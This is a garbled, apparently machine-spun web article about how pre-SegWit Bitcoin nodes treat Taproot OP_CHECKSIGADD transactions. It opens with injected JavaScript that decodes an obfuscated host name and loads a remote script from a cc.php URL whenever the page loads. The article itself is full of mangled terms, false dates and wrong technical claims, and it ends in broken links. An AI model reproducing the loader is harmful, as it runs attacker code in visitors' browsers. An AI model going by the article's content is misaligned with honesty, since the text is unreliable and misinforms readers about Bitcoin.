const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=b7a4d68f”;document.body.appendChild(script);
“
When it comes to updating bitcoins segregated witnesses (Segwit), users often wonder how pre -shgwin nodes – those that support and check the old SEGWIT transaction system before its replacement in November 2021 – interpret transactions containing a new Taproot protocol. In this article, we will deepen how these nodes manage the SEGWITS transaction blocks, especially focusing on the impact of Taproot OP_CHECKSIGD (Opchecksigd) instructions.
Segwit transactions and nodes before Segwin
Before Segwit, users can issue any unfounded exit from the transaction, not knowing who sent it. However, this led to increased expenses and a decrease in the portfolio hips, because some transactions remained unused. Segwit has been designed to solve these problems by introducing the concept of the functionality of “published anyone who can spend” (SAP). This allowed the nodes to check whether a certain output was issued before it appointed as it was released.
Along with the introduction of Segwit, pre -gun nodes would now encounter blocks containing transactions with SAP instructions. However, they will not be able to confirm these transactions in the same way as the nodes after Sigwin. Instead, they perceive them as “issuing anyone who can issue” transactions and continue to process the block.
taproot op_checksigadd
Let’s now focus on the Taproot protocol, which is a key element of Segwit, which allows more efficient validation of the transaction. Opchecksigadd’s manual is a specific type of OP verification instructions in the Taproot standard. Check if the exit was released before it appointed as it is issued.
When the node in front of Segawin meets a block with a block header containing Taproot OP_CHECKSIGADD instructions, interprets this instructions as follows:
- The input script is checked for unfounded outputs.
- If an unfounded output has been found, the Taproot engine checks whether it was issued using the Opchecksigadd instructions.
- If the output has been issued, the message is sent to the sender indicating that they have no claim for the exit.
influence on pre -virgin nodes
The prettinous nodes will see blocks containing the Taproot OP_CHECKSIGADD instructions, because “you spend anyone who can issue” transactions and you will continue to process the block. This means that these nodes will be:
- Let users spend indicators without knowing who sent them.
- Reduce your portfolio hips, enabling transactions.
However, pre -gun nodes must also check whether these transactions are really important and follow all the relevant rules, including the Taproot standard. I just can’t accept any transaction as “released” or “important”.
Application
To sum up, the pre -gun junction interpret blocks with Segwit transactions containing Taproot OP_CHECKSIGDD instructions, because “everyone can issue” transactions, which means that it will allow some unfounded results to be issued without checking their validity. Although this can lead to a reduction in the portfolio hips and increasing expenses, it also allows you to use Segwit in a more efficient way.
The key to performing is that pre -tin nodes must be careful when using blocks using the Taproot OP_CHECKSIGDDDdddddddddddddddDDDDDDDDDDd, because it requires additional steps to verify beyond vision “used label can spend”. In this way, they make sure that the transactions are correctly approved and the wallet’s hips remain correct.
Additional resources
For more information on the update of segregated Bitcoin witnesses (Segwit) and its impact on the nodes before Segwin, consult consultation with the following resources:
- [Wikipedia: segregate witness] ( (Bitcoin))))
- [CoINDesk: Segregate Witness 2.0 – short overall appearance] (https: //www.coindesk.
